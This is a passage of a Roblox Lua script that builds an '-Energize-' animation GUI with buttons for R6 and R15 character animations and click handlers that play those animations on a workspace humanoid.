		HeroJump.FontSize = Enum.FontSize.Size24
		HeroJump.Text = "Hero Jump"
		HeroJump.TextSize = 20
		HeroJump.TextWrapped = true
 
		Insane.Name = "Insane"
		Insane.Parent = ScrollingFrame
		Insane.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Insane.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Insane.Position = UDim2.new(0, 319, 0, 16)
		Insane.Size = UDim2.new(0, 119, 0, 34)
		Insane.Font = Enum.Font.Highway
		Insane.FontSize = Enum.FontSize.Size24
		Insane.Text = "Insane"
		Insane.TextSize = 20
		Insane.TextWrapped = true
 
		FloatingHead.Name = "FloatingHead"
		FloatingHead.Parent = ScrollingFrame
		FloatingHead.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FloatingHead.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FloatingHead.Position = UDim2.new(0, 168, 0, 16)
		FloatingHead.Size = UDim2.new(0, 119, 0, 34)
		FloatingHead.Font = Enum.Font.Highway
		FloatingHead.FontSize = Enum.FontSize.Size24
		FloatingHead.Text = "Floating Head"
		FloatingHead.TextSize = 20
		FloatingHead.TextWrapped = true
 
		HeadThrow.Name = "HeadThrow"
		HeadThrow.Parent = ScrollingFrame
		HeadThrow.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		HeadThrow.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		HeadThrow.Position = UDim2.new(0, 17, 0, 16)
		HeadThrow.Size = UDim2.new(0, 119, 0, 34)
		HeadThrow.Font = Enum.Font.Highway
		HeadThrow.FontSize = Enum.FontSize.Size24
		HeadThrow.Text = "Head Throw"
		HeadThrow.TextSize = 20
		HeadThrow.TextWrapped = true
 
		MovingDance.Name = "MovingDance"
		MovingDance.Parent = ScrollingFrame
		MovingDance.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		MovingDance.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		MovingDance.Position = UDim2.new(0, 168, 0, 324)
		MovingDance.Size = UDim2.new(0, 119, 0, 34)
		MovingDance.Font = Enum.Font.Highway
		MovingDance.FontSize = Enum.FontSize.Size24
		MovingDance.Text = "Moving Dance"
		MovingDance.TextSize = 20
		MovingDance.TextWrapped = true
 
		SuperPunch.Name = "SuperPunch"
		SuperPunch.Parent = ScrollingFrame
		SuperPunch.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SuperPunch.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SuperPunch.Position = UDim2.new(0, 168, 0, 366)
		SuperPunch.Size = UDim2.new(0, 119, 0, 34)
		SuperPunch.Font = Enum.Font.Highway
		SuperPunch.FontSize = Enum.FontSize.Size24
		SuperPunch.Text = "Super Punch"
		SuperPunch.TextSize = 20
		SuperPunch.TextWrapped = true
 
		ArmTurbine.Name = "ArmTurbine"
		ArmTurbine.Parent = ScrollingFrame
		ArmTurbine.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		ArmTurbine.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		ArmTurbine.Position = UDim2.new(0, 319, 0, 366)
		ArmTurbine.Size = UDim2.new(0, 119, 0, 34)
		ArmTurbine.Font = Enum.Font.Highway
		ArmTurbine.FontSize = Enum.FontSize.Size24
		ArmTurbine.Text = "Arm Turbine"
		ArmTurbine.TextSize = 20
		ArmTurbine.TextWrapped = true
 
		Dab.Name = "Dab"
		Dab.Parent = ScrollingFrame
		Dab.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Dab.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Dab.Position = UDim2.new(0, 17, 0, 366)
		Dab.Size = UDim2.new(0, 119, 0, 34)
		Dab.Font = Enum.Font.Highway
		Dab.FontSize = Enum.FontSize.Size24
		Dab.Text = "Dab"
		Dab.TextSize = 20
		Dab.TextWrapped = true
 
		FloatSit.Name = "FloatSit"
		FloatSit.Parent = ScrollingFrame
		FloatSit.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FloatSit.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FloatSit.Position = UDim2.new(0, 168, 0, 410)
		FloatSit.Size = UDim2.new(0, 119, 0, 34)
		FloatSit.Font = Enum.Font.Highway
		FloatSit.FontSize = Enum.FontSize.Size24
		FloatSit.Text = "Float Sit"
		FloatSit.TextSize = 20
		FloatSit.TextWrapped = true
 
		SuperFaint.Name = "SuperFaint"
		SuperFaint.Parent = ScrollingFrame
		SuperFaint.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SuperFaint.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SuperFaint.Position = UDim2.new(0, 17, 0, 498)
		SuperFaint.Size = UDim2.new(0, 119, 0, 34)
		SuperFaint.Font = Enum.Font.Highway
		SuperFaint.FontSize = Enum.FontSize.Size24
		SuperFaint.Text = "Super Faint"
		SuperFaint.TextSize = 20
		SuperFaint.TextWrapped = true
 
		BarrelRoll.Name = "BarrelRoll"
		BarrelRoll.Parent = ScrollingFrame
		BarrelRoll.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		BarrelRoll.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		BarrelRoll.Position = UDim2.new(0, 319, 0, 410)
		BarrelRoll.Size = UDim2.new(0, 119, 0, 34)
		BarrelRoll.Font = Enum.Font.Highway
		BarrelRoll.FontSize = Enum.FontSize.Size24
		BarrelRoll.Text = "Barrel Roll"
		BarrelRoll.TextSize = 20
		BarrelRoll.TextWrapped = true
 
		Scared.Name = "Scared"
		Scared.Parent = ScrollingFrame
		Scared.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Scared.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Scared.Position = UDim2.new(0, 319, 0, 454)
		Scared.Size = UDim2.new(0, 119, 0, 34)
		Scared.Font = Enum.Font.Highway
		Scared.FontSize = Enum.FontSize.Size24
		Scared.Text = "Scared"
		Scared.TextSize = 20
		Scared.TextWrapped = true
 
		InsaneArms.Name = "InsaneArms"
		InsaneArms.Parent = ScrollingFrame
		InsaneArms.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		InsaneArms.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		InsaneArms.Position = UDim2.new(0, 17, 0, 454)
		InsaneArms.Size = UDim2.new(0, 119, 0, 34)
		InsaneArms.Font = Enum.Font.Highway
		InsaneArms.FontSize = Enum.FontSize.Size24
		InsaneArms.Text = "Insane Arms"
		InsaneArms.TextSize = 20
		InsaneArms.TextWrapped = true
 
		SwordSlice.Name = "SwordSlice"
		SwordSlice.Parent = ScrollingFrame
		SwordSlice.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SwordSlice.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SwordSlice.Position = UDim2.new(0, 168, 0, 454)
		SwordSlice.Size = UDim2.new(0, 119, 0, 34)
		SwordSlice.Font = Enum.Font.Highway
		SwordSlice.FontSize = Enum.FontSize.Size24
		SwordSlice.Text = "Sword Slice"
		SwordSlice.TextSize = 20
		SwordSlice.TextWrapped = true
 
		SpinDance2.Name = "SpinDance2"
		SpinDance2.Parent = ScrollingFrame
		SpinDance2.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SpinDance2.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SpinDance2.Position = UDim2.new(0, 168, 0, 498)
		SpinDance2.Size = UDim2.new(0, 119, 0, 34)
		SpinDance2.Font = Enum.Font.Highway
		SpinDance2.FontSize = Enum.FontSize.Size24
		SpinDance2.Text = "Spin Dance 2"
		SpinDance2.TextSize = 20
		SpinDance2.TextWrapped = true
 
		BowDown.Name = "BowDown"
		BowDown.Parent = ScrollingFrame
		BowDown.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		BowDown.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		BowDown.Position = UDim2.new(0, 319, 0, 498)
		BowDown.Size = UDim2.new(0, 119, 0, 34)
		BowDown.Font = Enum.Font.Highway
		BowDown.FontSize = Enum.FontSize.Size24
		BowDown.Text = "Bow Down"
		BowDown.TextSize = 20
		BowDown.TextWrapped = true
 
		LoopSlam.Name = "LoopSlam"
		LoopSlam.Parent = ScrollingFrame
		LoopSlam.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		LoopSlam.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		LoopSlam.Position = UDim2.new(0, 17, 0, 410)
		LoopSlam.Size = UDim2.new(0, 119, 0, 34)
		LoopSlam.Font = Enum.Font.Highway
		LoopSlam.FontSize = Enum.FontSize.Size24
		LoopSlam.Text = "Loop Slam"
		LoopSlam.TextSize = 20
		LoopSlam.TextWrapped = true
 
		GuiTopFrame.Name = "Gui TopFrame"
		GuiTopFrame.Parent = MainFrame
		GuiTopFrame.BackgroundColor3 = Color3.new(1, 0.329412, 0.329412)
		GuiTopFrame.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
		GuiTopFrame.Size = UDim2.new(0, 460, 0, 32)
 
		CloseGUI.Name = "CloseGUI"
		CloseGUI.Parent = GuiTopFrame
		CloseGUI.BackgroundColor3 = Color3.new(1, 1, 1)
		CloseGUI.BackgroundTransparency = 1
		CloseGUI.Position = UDim2.new(0, 426, 0, 0)
		CloseGUI.Size = UDim2.new(0, 34, 0, 32)
		CloseGUI.Font = Enum.Font.SourceSans
		CloseGUI.FontSize = Enum.FontSize.Size48
		CloseGUI.Text = "X"
		CloseGUI.TextColor3 = Color3.new(0.333333, 0, 0)
		CloseGUI.TextSize = 40
		CloseGUI.TextWrapped = true
 
		Title.Name = "Title"
		Title.Parent = GuiTopFrame
		Title.BackgroundColor3 = Color3.new(1, 1, 1)
		Title.BackgroundTransparency = 1
		Title.Size = UDim2.new(0, 460, 0, 32)
		Title.FontSize = Enum.FontSize.Size14
		Title.Text = "-Energize-"
		Title.TextColor3 = Color3.new(0.164706, 0.164706, 0.164706)
		Title.TextSize = 14
		Title.TextStrokeColor3 = Color3.new(0.384314, 0.917647, 1)
		Title.TextStrokeTransparency = 0.69999998807907
		Title.TextWrapped = true
 
		CheckR.Name = "CheckR"
		CheckR.Parent = GuiTopFrame
		CheckR.BackgroundColor3 = Color3.new(1, 1, 1)
		CheckR.BackgroundTransparency = 1
		CheckR.Size = UDim2.new(0, 171, 0, 32)
		CheckR.Font = Enum.Font.SourceSansBold
		CheckR.FontSize = Enum.FontSize.Size14
		CheckR.Text = "Text"
		CheckR.TextScaled = true
		CheckR.TextSize = 14
		CheckR.TextWrapped = true
 
		ScrollingFrameR15.Name = "ScrollingFrameR15"
		ScrollingFrameR15.Parent = MainFrame
		ScrollingFrameR15.BackgroundColor3 = Color3.new(1, 0.564706, 0.564706)
		ScrollingFrameR15.Position = UDim2.new(0, 0, 0, 32)
		ScrollingFrameR15.Size = UDim2.new(0, 460, 0, 215)
		ScrollingFrameR15.Visible = false
		ScrollingFrameR15.ScrollBarThickness = 13
 
		CrazySlash.Name = "CrazySlash"
		CrazySlash.Parent = ScrollingFrameR15
		CrazySlash.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		CrazySlash.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		CrazySlash.Position = UDim2.new(0, 17, 0, 16)
		CrazySlash.Size = UDim2.new(0, 119, 0, 34)
		CrazySlash.Font = Enum.Font.Highway
		CrazySlash.FontSize = Enum.FontSize.Size24
		CrazySlash.Text = "CrazySlash"
		CrazySlash.TextSize = 20
		CrazySlash.TextWrapped = true
 
		Open.Name = "Open"
		Open.Parent = ScrollingFrameR15
		Open.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		Open.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Open.Position = UDim2.new(0, 168, 0, 16)
		Open.Size = UDim2.new(0, 119, 0, 34)
		Open.Font = Enum.Font.Highway
		Open.FontSize = Enum.FontSize.Size24
		Open.Text = "Open"
		Open.TextSize = 20
		Open.TextWrapped = true
 
		R15Spinner.Name = "R15Spinner"
		R15Spinner.Parent = ScrollingFrameR15
		R15Spinner.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		R15Spinner.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		R15Spinner.Position = UDim2.new(0, 17, 0, 60)
		R15Spinner.Size = UDim2.new(0, 119, 0, 34)
		R15Spinner.Font = Enum.Font.Highway
		R15Spinner.FontSize = Enum.FontSize.Size24
		R15Spinner.Text = "Spinner"
		R15Spinner.TextSize = 20
		R15Spinner.TextWrapped = true
 
		ArmsOut.Name = "ArmsOut"
		ArmsOut.Parent = ScrollingFrameR15
		ArmsOut.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		ArmsOut.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		ArmsOut.Position = UDim2.new(0, 319, 0, 16)
		ArmsOut.Size = UDim2.new(0, 119, 0, 34)
		ArmsOut.Font = Enum.Font.Highway
		ArmsOut.FontSize = Enum.FontSize.Size24
		ArmsOut.Text = "ArmsOut"
		ArmsOut.TextSize = 20
		ArmsOut.TextWrapped = true
 
		FloatSlash.Name = "FloatSlash"
		FloatSlash.Parent = ScrollingFrameR15
		FloatSlash.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		FloatSlash.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FloatSlash.Position = UDim2.new(0, 168, 0, 148)
		FloatSlash.Size = UDim2.new(0, 119, 0, 34)
		FloatSlash.Font = Enum.Font.Highway
		FloatSlash.FontSize = Enum.FontSize.Size24
		FloatSlash.Text = "FloatSlash"
		FloatSlash.TextSize = 20
		FloatSlash.TextWrapped = true
 
		WeirdZombie.Name = "WeirdZombie"
		WeirdZombie.Parent = ScrollingFrameR15
		WeirdZombie.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		WeirdZombie.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		WeirdZombie.Position = UDim2.new(0, 17, 0, 148)
		WeirdZombie.Size = UDim2.new(0, 119, 0, 34)
		WeirdZombie.Font = Enum.Font.Highway
		WeirdZombie.FontSize = Enum.FontSize.Size24
		WeirdZombie.Text = "WeirdZombie"
		WeirdZombie.TextSize = 20
		WeirdZombie.TextWrapped = true
 
		DownSlash.Name = "DownSlash"
		DownSlash.Parent = ScrollingFrameR15
		DownSlash.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		DownSlash.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		DownSlash.Position = UDim2.new(0, 319, 0, 148)
		DownSlash.Size = UDim2.new(0, 119, 0, 34)
		DownSlash.Font = Enum.Font.Highway
		DownSlash.FontSize = Enum.FontSize.Size24
		DownSlash.Text = "DownSlash"
		DownSlash.TextSize = 20
		DownSlash.TextWrapped = true
 
		Pull.Name = "Pull"
		Pull.Parent = ScrollingFrameR15
		Pull.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		Pull.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Pull.Position = UDim2.new(0, 17, 0, 104)
		Pull.Size = UDim2.new(0, 119, 0, 34)
		Pull.Font = Enum.Font.Highway
		Pull.FontSize = Enum.FontSize.Size24
		Pull.Text = "Pull"
		Pull.TextSize = 20
		Pull.TextWrapped = true
 
		CircleArm.Name = "CircleArm"
		CircleArm.Parent = ScrollingFrameR15
		CircleArm.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		CircleArm.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		CircleArm.Position = UDim2.new(0, 168, 0, 104)
		CircleArm.Size = UDim2.new(0, 119, 0, 34)
		CircleArm.Font = Enum.Font.Highway
		CircleArm.FontSize = Enum.FontSize.Size24
		CircleArm.Text = "CircleArm"
		CircleArm.TextSize = 20
		CircleArm.TextWrapped = true
 
		Bend.Name = "Bend"
		Bend.Parent = ScrollingFrameR15
		Bend.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		Bend.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Bend.Position = UDim2.new(0, 319, 0, 104)
		Bend.Size = UDim2.new(0, 119, 0, 34)
		Bend.Font = Enum.Font.Highway
		Bend.FontSize = Enum.FontSize.Size24
		Bend.Text = "Bend"
		Bend.TextSize = 20
		Bend.TextWrapped = true
 
		RotateSlash.Name = "RotateSlash"
		RotateSlash.Parent = ScrollingFrameR15
		RotateSlash.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		RotateSlash.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		RotateSlash.Position = UDim2.new(0, 319, 0, 60)
		RotateSlash.Size = UDim2.new(0, 119, 0, 34)
		RotateSlash.Font = Enum.Font.Highway
		RotateSlash.FontSize = Enum.FontSize.Size24
		RotateSlash.Text = "RotateSlash"
		RotateSlash.TextSize = 20
		RotateSlash.TextWrapped = true
 
		FlingArms.Name = "FlingArms"
		FlingArms.Parent = ScrollingFrameR15
		FlingArms.BackgroundColor3 = Color3.new(0.682353, 0.701961, 0.792157)
		FlingArms.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FlingArms.Position = UDim2.new(0, 168, 0, 60)
		FlingArms.Size = UDim2.new(0, 119, 0, 34)
		FlingArms.Font = Enum.Font.Highway
		FlingArms.FontSize = Enum.FontSize.Size24
		FlingArms.Text = "FlingArms"
		FlingArms.TextSize = 20
		FlingArms.TextWrapped = true
 
		-- Buttons
		col = Color3.new(0.886275, 0.776471, 0.368627)
		loc = Color3.new(1, 0.906471, 0.568627)
		rcol = Color3.new(0.682353, 0.701961, 0.792157)
		rloc = Color3.new(0.882353, 0.901961, 0.992157)
 
		CloseGUI.MouseButton1Click:connect(function()
		MainFrame.Visible = false
		SideFrame.Visible = true
		SideFrame.Position = MainFrame.Position
		end)
 
		OpenGUI.MouseButton1Click:connect(function()
		MainFrame.Visible = true
		SideFrame.Visible = false
		MainFrame.Position = SideFrame.Position
		end)
 
		if (game:GetService"Players".LocalPlayer.Character:WaitForChild("Humanoid").RigType == Enum.HumanoidRigType.R15) then
			ScrollingFrame.Visible = false
			ScrollingFrameR15.Visible = true
			CheckR.Text = "Showing R15 Animations"
		else
			ScrollingFrame.Visible = true
			ScrollingFrameR15.Visible = false
			CheckR.Text = "Showing R6 Animations"
		end
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35154961"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local HeadThrowACTIVE = false
		HeadThrow.MouseButton1Click:connect(function()
			HeadThrowACTIVE = not HeadThrowACTIVE
			if HeadThrowACTIVE then
				HeadThrow.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if HeadThrowACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				HeadThrow.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://121572214"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FloatingHeadACTIVE = false
		FloatingHead.MouseButton1Click:connect(function()
			FloatingHeadACTIVE = not FloatingHeadACTIVE
			if FloatingHeadACTIVE then
				track:Play(.1, 1, 1)
				FloatingHead.BackgroundColor3 = loc
			else
				track:Stop()
				FloatingHead.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://182724289"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local CrouchACTIVE = false
		Crouch.MouseButton1Click:connect(function()
			CrouchACTIVE = not CrouchACTIVE
			if CrouchACTIVE then
				track:Play(.1, 1, 1)
				Crouch.BackgroundColor3 = loc
			else
				track:Stop()
				Crouch.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://282574440"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FloorCrawlACTIVE = false
		FloorCrawl.MouseButton1Click:connect(function()
			FloorCrawlACTIVE = not FloorCrawlACTIVE
			if FloorCrawlACTIVE then
				track:Play(.1, 1, 1)
				FloorCrawl.BackgroundColor3 = loc
			else
				track:Stop()
				FloorCrawl.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204328711"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local DinoWalkACTIVE = false
		DinoWalk.MouseButton1Click:connect(function()
			DinoWalkACTIVE = not DinoWalkACTIVE
			if DinoWalkACTIVE then
				track:Play(.1, 1, 1)
				DinoWalk.BackgroundColor3 = loc
			else
				track:Stop()
				DinoWalk.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429681631"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local JumpingJacksACTIVE = false
		JumpingJacks.MouseButton1Click:connect(function()
			JumpingJacksACTIVE = not JumpingJacksACTIVE
			if JumpingJacksACTIVE then
				track:Play(.1, 1, 1)
				JumpingJacks.BackgroundColor3 = loc
			else
				track:Stop()
				JumpingJacks.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35154961"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local LoopHeadACTIVE = false
		LoopHead.MouseButton1Click:connect(function()
			LoopHeadACTIVE = not LoopHeadACTIVE
			if LoopHeadACTIVE then
				LoopHead.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if LoopHeadACTIVE then
						track:Play(.5, 1, 1e6)
					end
				 end
				end
			else
				track:Stop()
				LoopHead.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://184574340"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local HeroJumpACTIVE = false
		HeroJump.MouseButton1Click:connect(function()
			HeroJumpACTIVE = not HeroJumpACTIVE
			if HeroJumpACTIVE then
				HeroJump.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if HeroJumpACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				HeroJump.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181526230"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FaintACTIVE = false
		Faint.MouseButton1Click:connect(function()
			FaintACTIVE = not FaintACTIVE
			if FaintACTIVE then
				track:Play(.1, 1, 1)
				Faint.BackgroundColor3 = loc
			else
				track:Stop()
				Faint.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181525546"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FloorFaintACTIVE = false
		FloorFaint.MouseButton1Click:connect(function()
			FloorFaintACTIVE = not FloorFaintACTIVE
			if FloorFaintACTIVE then
				FloorFaint.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if FloorFaintACTIVE then
						track:Play(.1, 1, 2)
					end
				 end
				end
			else
				track:Stop()
				FloorFaint.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://181525546"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SuperFaintACTIVE = false
		SuperFaint.MouseButton1Click:connect(function()
			SuperFaintACTIVE = not SuperFaintACTIVE
			if SuperFaintACTIVE then
				SuperFaint.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SuperFaintACTIVE then
						track:Play(.1, 0.5, 40)
					end
				 end
				end
			else
				track:Stop()
				SuperFaint.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://313762630"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local LevitateACTIVE = false
		Levitate.MouseButton1Click:connect(function()
			LevitateACTIVE = not LevitateACTIVE
			if LevitateACTIVE then
				track:Play(.1, 1, 1)
				Levitate.BackgroundColor3 = loc
			else
				track:Stop()
				Levitate.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://183412246"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local DabACTIVE = false
		Dab.MouseButton1Click:connect(function()
			DabACTIVE = not DabACTIVE
			if DabACTIVE then
				Dab.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if DabACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				Dab.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://188632011"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SpinACTIVE = false
		Spinner.MouseButton1Click:connect(function()
			SpinACTIVE = not SpinACTIVE
			if SpinACTIVE then
				Spinner.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SpinACTIVE then
						track:Play(.1, 1, 2)
					end
				 end
				end
			else
				track:Stop()
				Spinner.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://179224234"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FloatSitACTIVE = false
		FloatSit.MouseButton1Click:connect(function()
			FloatSitACTIVE = not FloatSitACTIVE
			if FloatSitACTIVE then
				track:Play(.1, 1, 1)
				FloatSit.BackgroundColor3 = loc
			else
				track:Stop()
				FloatSit.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429703734"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local MovingDanceACTIVE = false
		MovingDance.MouseButton1Click:connect(function()
			MovingDanceACTIVE = not MovingDanceACTIVE
			if MovingDanceACTIVE then
				MovingDance.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if MovingDanceACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				MovingDance.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://215384594"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local WeirdMoveACTIVE = false
		WeirdMove.MouseButton1Click:connect(function()
			WeirdMoveACTIVE = not WeirdMoveACTIVE
			if WeirdMoveACTIVE then
				track:Play(.1, 1, 1)
				WeirdMove.BackgroundColor3 = loc
			else
				track:Stop()
				WeirdMove.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://215384594"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local CloneIllusionACTIVE = false
		CloneIllusion.MouseButton1Click:connect(function()
			CloneIllusionACTIVE = not CloneIllusionACTIVE
			if CloneIllusionACTIVE then
				track:Play(.5, 1, 1e7)
				CloneIllusion.BackgroundColor3 = loc
			else
				track:Stop()
				CloneIllusion.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://313762630"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local GlitchLevitateACTIVE = false
		GlitchLevitate.MouseButton1Click:connect(function()
			GlitchLevitateACTIVE = not GlitchLevitateACTIVE
			if GlitchLevitateACTIVE then
				track:Play(.5, 1, 1e7)
				GlitchLevitate.BackgroundColor3 = loc
			else
				track:Stop()
				GlitchLevitate.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://429730430"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SpinDanceACTIVE = false
		SpinDance.MouseButton1Click:connect(function()
			SpinDanceACTIVE = not SpinDanceACTIVE
			if SpinDanceACTIVE then
				SpinDance.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SpinDanceACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				SpinDance.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://45834924"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local MoonDanceACTIVE = false
		MoonDance.MouseButton1Click:connect(function()
			MoonDanceACTIVE = not MoonDanceACTIVE
			if MoonDanceACTIVE then
				MoonDance.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if MoonDanceACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				MoonDance.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204062532"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FullPunchACTIVE = false
		FullPunch.MouseButton1Click:connect(function()
			FullPunchACTIVE = not FullPunchACTIVE
			if FullPunchACTIVE then
				FullPunch.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if FullPunchACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				FullPunch.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://186934910"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SpinDance2ACTIVE = false
